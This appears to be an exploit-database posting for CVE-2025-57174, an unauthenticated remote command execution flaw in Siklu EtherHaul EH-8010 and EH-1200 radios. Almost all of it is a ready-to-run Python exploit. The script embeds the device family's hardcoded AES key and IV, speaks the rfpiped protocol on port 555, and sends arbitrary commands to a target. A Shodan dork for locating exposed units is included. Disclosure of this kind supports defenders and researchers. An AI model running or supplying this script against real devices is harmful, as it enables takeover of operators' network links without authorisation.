Siklu EtherHaul Series EH-8010 Remote Command Execution

2026.02.14
Credit: semaja2
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

# Exploit Title:Siklu EtherHaul Series EH-8010 - Remote Command Execution # Shodan Dork: "EH-8010" or "EH-1200" # Date: 2025-08-02 # Exploit Author: semaja2 - Andrew James <semaja2@gmail.com> # Vendor Homepage: https://www.ceragon.com/products/siklu-by-ceragon # Software Link: ftp://ftp.bubakov.net/siklu/ # Version: EH-8010 and EH-1200 Firmware 7.4.0 - 10.7.3 # Tested on: Linux # CVE: CVE-2025-57174 # Blog: https://semaja2.net/2025/08/02/siklu-eh-unauthenticated-rce/ #!/usr/bin/env python3 import argparse, socket, struct from Crypto.Cipher import AES PORT = 555 HDR_LEN = 0x90 IV0 = struct.pack('<4I', 0xEA703B82, 0x75A9A17B, 0x1DFC7BB9, 0x55A24D72) KEY = bytes([ 0x89,0xE7,0xFF,0xBE,0xEB,0x2D,0x73,0xF5, 0xA9,0x10,0xFC,0x42,0x5B,0x1F,0x36,0x17, 0x9F,0xB9,0x5E,0x75,0x35,0xA3,0x42,0xA0, 0x5D,0x02,0x48,0xB1,0x19,0xD2,0x4B,0x82 ]) def recv_exact(sock: socket.socket, n: int) -> bytes: out = bytearray() while len(out) < n: chunk = sock.recv(n - len(out)) if not chunk: raise ConnectionError('socket closed') out += chunk return bytes(out) def pad16_zero(b: bytes) -> bytes: r = len(b) & 0x0F return b if r == 0 else (b + b'\x00' * (16 - r)) def hdr_checksum(hdr: bytes) -> int: return (sum(hdr[0:0x0C]) + sum(hdr[0x10:HDR_LEN])) & 0xFFFFFFFF def build_header(flag: int, msg: int, payload_len: int) -> bytes: hdr = bytearray(HDR_LEN) hdr[0] = flag & 0xFF hdr[1] = msg & 0xFF struct.pack_into('<I', hdr, 0x08, payload_len & 0xFFFFFFFF) struct.pack_into('<I', hdr, 0x0C, hdr_checksum(hdr)) return bytes(hdr) class RFPipeSession: def __init__(self, key: bytes, iv0: bytes): self.key = key self.send_iv = iv0 self.recv_iv = iv0 def enc_send(self, sock: socket.socket, data: bytes) -> None: cipher = AES.new(self.key, AES.MODE_CBC, iv=self.send_iv) ct = cipher.encrypt(data) self.send_iv = ct[-16:] sock.sendall(ct) def dec_recv(self, sock: socket.socket, n_plain: int) -> bytes: if n_plain <= 0: return b'' n_padded = (n_plain + 15) & ~15 ct = recv_exact(sock, n_padded) cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv) pt = cipher.decrypt(ct) self.recv_iv = ct[-16:] return pt[:n_plain] def send_header(self, sock: socket.socket, hdr_plain: bytes) -> None: if len(hdr_plain) != HDR_LEN: raise ValueError('header must be 0x90 bytes') self.enc_send(sock, hdr_plain) def recv_header(self, sock: socket.socket) -> bytes: ct = recv_exact(sock, HDR_LEN) cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv) pt = cipher.decrypt(ct) self.recv_iv = ct[-16:] return pt def connect_any(host: str, port: int) -> socket.socket: infos = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM) last_err = None for fam, st, proto, _, sa in infos: s = socket.socket(fam, st, proto) try: s.connect(sa) return s except Exception as e: last_err = e s.close() raise ConnectionError(f'connect failed: {last_err}') def main(): ap = argparse.ArgumentParser(description='rfpiped command client (msg 0x01)') ap.add_argument('target', help='IPv4/IPv6 address') ap.add_argument('command', help='command string (e.g., "mo-info system")') ap.add_argument('--nul', action='store_true', help='append NUL terminator to command') ap.add_argument('--recv', action='store_true', help='receive and print response') args = ap.parse_args() payload = args.command.encode('utf-8') if args.nul: payload += b'\x00' hdr_plain = build_header(flag=0x00, msg=0x01, payload_len=len(payload)) sess = RFPipeSession(KEY, IV0) with connect_any(args.target, PORT) as s: sess.send_header(s, hdr_plain) if payload: sess.enc_send(s, pad16_zero(payload)) if args.recv: rh = sess.recv_header(s) flag = rh[0]; rmsg = rh[1] rlen = struct.unpack_from('<I', rh, 0x08)[0] print(f'Response: flag=0x{flag:02x} msg=0x{rmsg:02x} length={rlen}') if rmsg in (0x03, 0x05): return if rlen: body = sess.dec_recv(s, rlen) if body.endswith(b'\x00'): body = body[:-1] try: print(body.decode('utf-8', errors='replace')) except Exception: print(body.hex()) if __name__ == '__main__': main()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top